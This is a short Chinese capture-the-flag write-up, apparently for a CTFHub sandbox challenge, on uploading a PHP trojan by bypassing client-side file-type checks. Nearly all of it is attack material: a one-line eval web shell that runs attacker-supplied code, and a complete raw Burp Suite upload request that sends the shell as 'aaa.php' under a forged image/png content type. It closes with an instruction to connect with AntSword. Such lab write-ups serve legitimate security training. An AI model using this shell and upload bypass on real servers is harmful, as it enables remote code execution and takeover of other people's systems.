绕过前端验证上传木马接管服务器
//AntSword连接木马
<?php
eval($_POST['password']);
?>
//Burp Suite抓包伪造文件类型绕过前端后缀名检测
POST / HTTP/1.1
Host: challenge-39ad69aaaf5a677e.sandbox.ctfhub.com:10800
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-39ad69aaaf5a677e.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryef7J1V8kQTZ3jn5M
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-39ad69aaaf5a677e.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryef7J1V8kQTZ3jn5M
Content-Disposition: form-data; name="file"; filename="aaa.php"
Content-Type: image/png
<?php
eval($_POST['password']);
?>
------WebKitFormBoundaryef7J1V8kQTZ3jn5M
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryef7J1V8kQTZ3jn5M--
使用AntSword连接木马即可